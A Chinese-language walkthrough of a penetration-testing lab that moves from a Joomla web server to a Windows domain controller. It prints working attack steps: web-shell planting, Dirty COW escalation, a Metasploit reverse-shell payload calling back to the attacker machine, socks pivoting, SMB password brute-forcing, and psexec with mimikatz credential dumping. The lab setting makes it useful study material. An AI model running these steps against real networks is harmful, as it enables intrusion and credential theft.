前言
本環境為黑盒測驗,在不提供虛擬機帳號密碼的情況下進行黑盒測驗拿到域控里面的flag,
環境搭建
攻擊機:
kali:192.168.1.10
靶場:
CentOS(內):192.168.93.100
CentOS(外):192.168.1.110
Ubuntu:192.168.93.120
域內主機:
Winserver2012:192.168.93.10
Winserver2008:192.168.93.20
Windows7:192.168.93.30
kali跟CentOS能夠ping通

拓撲圖如下:

【一>所有資源獲取<一】
1、200份很多已經買不到的絕版電子書
2、30G安全大廠內部的視頻資料
3、100份src檔案
4、常見安全面試題
5、ctf大賽經典題目決議
6、全套工具包
7、應急回應筆記
8、網路安全學習路線
內網資訊搜集
nmap探測埠
nmap先探測一下出網機即CentOS的埠情況,可以看到開了22、80、3306埠,初步判斷開了web,ssh,資料庫應該為MySQL
nmap -T4 -sC -sV 192.168.1.110

這里首先訪問下80埠,發現為joomla框架,joomla框架在3.4.6及以下版本是有一個遠程rce漏洞的,這里先使用exp直接去打一下

這里看到exp打過去不能夠利用那么應該是joomla的版本比較高

這里使用埠掃描軟體掃一下后臺的檔案發現一個管理員的界面

是joomla的后臺登錄界面,這里嘗試使用bp弱口令爆破了一下,無果,只好放棄

這里使用dirsearch進一步進行掃描,發現了一個configuration.php

看一下這個php的內容發現有一個user跟password,聯想到開了3306這個埠,猜測這可能是管理員備份的資料庫密碼忘記洗掉了

連接mysql
這里使用navicat嘗試連接一下靶機的資料庫

可以看到連接成功了

然后就是翻資料找管理員的帳號了,找管理員帳號肯定是找帶有user欄位跟password欄位的,這里我找了一段時間,最后發現umnbt_users這個表跟管理員帳號最相似,但是這里出現了一個問題,我發現password這個地方的密碼不是明文

這里試著把密文拿去解密發現解密失敗

在搜索的時候發現joomla官網雖然沒有直接公布密碼的加密方式,但是它為了防止用戶忘記密碼增加了一個添加超級管理員用戶的方式,就是通過登錄資料庫執行sql陳述句達到新建超級管理員的效果

這里我們可以發現sql陳述句中的VALUES中的第三項為密文,這里我們為了方便就是用他給我們的這一串密文,這里對應的密碼為secret,當然也可以用其他對應的密文如下所示

在navicat中執行sql陳述句,注意這里要分開執行兩個INSERT INTO否則回報錯,這里相當于我們添加了一個admin2 secret這個新的超級管理員用戶

登錄joomla后臺
使用admin2 secret登錄joomla后臺

登錄成功,進入后臺后的操作一般都是找可以上傳檔案的地方上傳圖片馬或者找一個能夠寫入sql陳述句的地方

這里經過谷歌后發現,joomla的后臺有一個模板的編輯處可以寫入檔案,這里找到Extensions->Template->Templates

這里選擇Beez3這個模板進入編輯

這里因為模板前面有<?php前綴,所以這里我們需要將一句話木馬稍微變形一下,然后保存即可

這里使用蟻劍連接成功


繞過disable_functions
但是這里命令執行回傳的是127,應該是disable_functions禁用了命令執行的函式,在windows下繞過disable_functions的方法雖然很少,但是在linux里面繞過disable_functions的方法卻有很多,這里就不展開說了

這里為了方便我直接使用的是蟻劍里自帶的插件繞過disable_functions,可以看到已經上傳腳本操作成功了

這里我直接去連接上傳的這個.antproxy.php,這里理論上是應該用原來的密碼連接過去就可以執行命令了,但是這和地方不知道為什么回傳資料為空我淦!

這里只好用最原始的方法,上傳一個繞過disable_functions的py,通過傳參的方式執行系統命令

測驗一下傳參為whoami,可以看到這里是一個低權限www-data

ifconfig看一下網卡情況,這里很奇怪,因為之前我們在掃描的時候這臺CentOS的ip應該是192.168.1.0/24這個網段的,但是這里ifconfig出來卻是192.168.53.0/24這個網段,當時說實話有點懵

arp -a查看下路由表,可以看到都是192.168.93.0/24這個網段

再看一下埠的進出,發現都是93這個網段

interfaces中配置的靜態網卡也是93這個網段

Nginx反向代理
那么到這里已經很明顯了,也就是說我們之前拿到的那臺linux的192.168.1.0/24這個網段相當于一個公網IP,但是真正的主機應該是192.168.93.0/24,但這個是一個內網網段,所以說最符合這種情況的就是nginx反向代理
因為之前nginx反代的情況基本沒遇到過,所以這里順帶補充一下自己的盲區
何為代理
在Java設計模式中,代理模式是這樣定義的:給某個物件提供一個代理物件,并由代理物件控制原物件的參考,
可能大家不太明白這句話,在舉一個現實生活中的例子:比如我們要買一間二手房,雖然我們可以自己去找房源,但是這太花費時間精力了,而且房屋質量檢測以及房屋過戶等一系列手續也都得我們去辦,再說現在這個社會,等我們找到房源,說不定房子都已經漲價了,那么怎么辦呢?最簡單快捷的方法就是找二手房中介公司(為什么?別人那里房源多啊),于是我們就委托中介公司來給我找合適的房子,以及后續的質量檢測過戶等操作,我們只需要選好自己想要的房子,然后交錢就行了,
代理簡單來說,就是如果我們想做什么,但又不想直接去做,那么這時候就找另外一個人幫我們去做,那么這個例子里面的中介公司就是給我們做代理服務的,我們委托中介公司幫我們找房子,
何為反向代理
反向代理和正向代理的區別就是:正向代理代理客戶端,反向代理代理服務器,
反向代理,其實客戶端對代理是無感知的,因為客戶端不需要任何配置就可以訪問,我們只需要將請求發送到反向代理服務器,由反向代理服務器去選擇目標服務器獲取資料后,在回傳給客戶端,此時反向代理服務器和目標服務器對外就是一個服務器,暴露的是代理服務器地址,隱藏了真實服務器IP地址,
反向代理的好處
那么為什么要用到反向代理呢,原因有以下幾點:
1、保護了真實的web服務器,web服務器對外不可見,外網只能看到反向代理服務器,而反向代理服務器上并沒有真實資料,因此,保證了web服務器的資源安全
2、反向代理為基礎產生了動靜資源分離以及負載均衡的方式,減輕web服務器的負擔,加速了對網站訪問速度(動靜資源分離和負載均衡會以后說)
3、節約了有限的IP地址資源,企業內所有的網站共享一個在internet中注冊的IP地址,這些服務器分配私有地址,采用虛擬主機的方式對外提供服務
了解了反向代理之后,我們再具體的去探究一下Nginx反向代理的實作
1、模擬n個http服務器作為目標主機用作測驗,簡單的使用2個tomcat實體模擬兩臺http服務器,分別將tomcat的埠改為8081和8082
2、配置IP域名
192.168.72.49 8081.max.com
192.168.72.49 8082.max.com
3、配置nginx.conf
upstream tomcatserver1 {
server 192.168.72.49:8081;
}
upstream tomcatserver2 {
server 192.168.72.49:8082;
}
server {
listen 80;
server_name 8081.max.com;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
proxy_pass http://tomcatserver1;
index index.html index.htm;
}
}
server {
listen 80;
server_name 8082.max.com;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
proxy_pass http://tomcatserver2;
index index.html index.htm;
}
}
流程:
1)瀏覽器訪問8081.max.com,通過本地host檔案域名決議,找到192.168.72.49服務器(安裝nginx)
2)nginx反向代理接受客戶機請求,找到server_name為8081.max.com的server節點,根據proxy_pass對應的http路徑,將請求轉發到upstream tomcatserver1上,即埠號為8081的tomcat服務器,
那么這里很明顯還有一臺linux主機在整個拓撲內做為內網Ubuntu的反向代理主機,這時候我翻快取檔案夾的時候發現了一個mysql檔案夾,跟進去看看

發現了一個test.txt,不會又是管理員忘記刪了的賬號密碼吧(手動狗頭)

因為之前我們掃埠的時候發現開了22埠,那么這個賬號密碼很可能就是ssh的帳號密碼

使用ssh連接嘗試

連接成功到了另外一臺linux主機

看一下主機和ip情況,可以發現這臺主機已經不是我們之前的那臺Ubuntu了,而是CentOS,而且雙網卡,一張網卡是我們之前掃描時候得出的1.0/24這個網段的ip,還有一個ip就是93.0/24這個內網網段的ip,那么這臺linux主機就是Ubuntu的反向代理主機無疑了

臟牛提權
這里直接選擇linux提權首選的臟牛進行提權
gcc -pthread dirty.c -o dirty -lcrypt //編譯dirty.c
./dirty 123456 //創建一個高權限用戶,密碼為123456
可以看到這里已經執行成功,臟牛執行成功過后會自動生成一個名為firefart的高權限用戶,密碼就是我們剛才設定的123456

這里我們切換到firefart用戶進行查看

內網滲透
centos上線msf
這里因為是linux的原因,就不使用cs上線的打法了,先生成一個linux的payload上線到msf
use exploit/multi/script/web_delivery
set lhost 192.168.1.10
set lport 4444
set target 7
run
運行之后會給出一個payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
exploit

將payload復制到centos執行

可以看到反彈session已經成功

socks代理進入內網掃描
這里使用添加路由、使用socks_proxy模塊進入內網
route add 192.168.93.0 255.255.255.0 1
route print
use auxiliary/server/socks_proxy
set version 4a
run
然后在/etc/proxychain.conf檔案中添加代理的ip和埠,這里一定要和設定里的對應

這里可以使用proxychain + nmap進行掃描,這里為了方便我就直接使用msf中的模塊對192.168.93.0/24這個網段進行掃描了,注意這里在實戰的時候可以適當把執行緒調小一點,不然流量會很大,這里因為是靶場的原因我就直接調成了20
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.1-255
set threads 20
run
這里掃描完之后可以發現,內網里有3臺主機存活,分別是192.168.93.10 192.168.93.20 192.168.93.30

但是這時候資訊還不夠,呼叫nmap繼續掃描詳細資訊
nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30
首先是10這臺主機,可以看到開放了88跟389這兩個埠,熟悉的師傅都應該知道這兩個埠大概率鎖定了這臺主機就是域控

20這臺主機開的都是幾個常規埠,值得注意的就是1433埠,意味著20這臺主機上有mssql服務
30這臺主機也是開了幾個常規埠,跟前面兩臺主機相比就沒什么特征埠,應該是一個普通的域成員主機

永恒之藍嘗試
這里我發現三臺主機都開了139、445埠,那么先使用永恒之藍模塊先批量掃描一波看有沒有可以直接用永恒之藍打下來的主機
這里沒有能夠直接用永恒之藍拿下的主機,win7跟2008匿名管道都沒有開所以利用不了
[圖片上傳失敗…(image-4b128c-1640683252744)]
密碼列舉
因為這三臺主機都開了445埠,可以使用smb,使用msf中的smb_login模塊進行密碼列舉嘗試
use auxiliary/scanner/smb/smb_loginset rhosts 192.168.93.20set SMBUser Administratorset PASS_FILE /tmp/1W.txtrun
這里很幸運,跑出來的密碼是123qwe!ASD剛好在我的1W.txt這個字典里面

psexec橫向移動
這里使用proxifier將msf的socks代理到本地,忘記截圖了orz…
這里既然已經拿到了administrator的密碼,使用ipc先連接到20這一臺主機,使用copy命令將mimikatz拷貝到20這臺主機上

然后使用psexec獲取一個cmd環境,使用mimikatz抓取hash并保存為日志
psexec64.exe \\192.168.93.20 cmdmimiKatz.exe log privilege::debug sekurlsa::logonpasswords

type mimikatz.log讀取日志內容可以發現域管的帳號密碼為Administrator zxcASDqw123!!

那么這里也直接使用ipc連接直接連接10這臺主機,即TEST這個域的域控,可以看到已經連接成功了

使用命令查看機密檔案
dir \\192.168.93.10\C$\users\Administrator\Documentstype \\192.168.93.10\C$\users\Administrator\Documents\flag.txt

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/397530.html
標籤:其他
上一篇:戀上資料結構-01復雜度
